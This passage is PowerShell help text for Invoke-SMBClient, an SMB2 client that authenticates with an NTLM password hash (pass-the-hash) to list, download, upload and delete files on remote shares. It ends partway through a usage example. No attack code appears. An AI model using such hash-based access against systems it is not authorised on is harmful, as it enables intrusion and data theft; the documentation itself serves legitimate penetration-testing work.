This module supports SMB2 (2.1) only with and +without SMB signing. Note that this client is slow compared to the Windows client. + +.PARAMETER Username +Username to use for authentication. + +.PARAMETER Domain +Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the +username. + +.PARAMETER Hash +NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. + +.Parameter Action +Default = List: (List/Recurse/Delete/Get/Put) Action to perform. +List: Lists the contents of a directory. +Recurse: Lists the contents of a directory and all subdirectories. +Delete: Deletes a file. +Get: Downloads a file. +Put: Uploads a file and sets the creation, access, and last write times to match the source file. + +.PARAMETER Source +List and Recurse: UNC path to a directory. +Delete: UNC path to a file. +Get: UNC path to a file. +Put: File to upload. If a full path is not specified, the file must be in the current directory. When using the +'Modify' switch, 'Source' must be a byte array. + +.PARAMETER Destination +List and Recurse: Not used. +Delete: Not used. +Get: If used, value will be the new filename of downloaded file. If a full path is not specified, the file will be +created in the current directory. +Put: UNC path for uploaded file. The filename must be specified. + +.PARAMETER Modify +List and Recurse: The function will output an object consisting of directory contents. +Delete: Not used. +Get: The function will output a byte array of the downloaded file instead of writing the file to disk. It's +advisable to use this only with smaller files and to send the output to a variable. +Put: Uploads a byte array to a new destination file. + +.PARAMETER NoProgress +List and Recurse: Not used. +Delete: Not used. +Get and Put: Prevents displaying of a progress bar. + +.PARAMETER Sleep +Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try increasing this +if downloaded files are being corrupted. + +.EXAMPLE +List the contents of a root share directory. +Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash
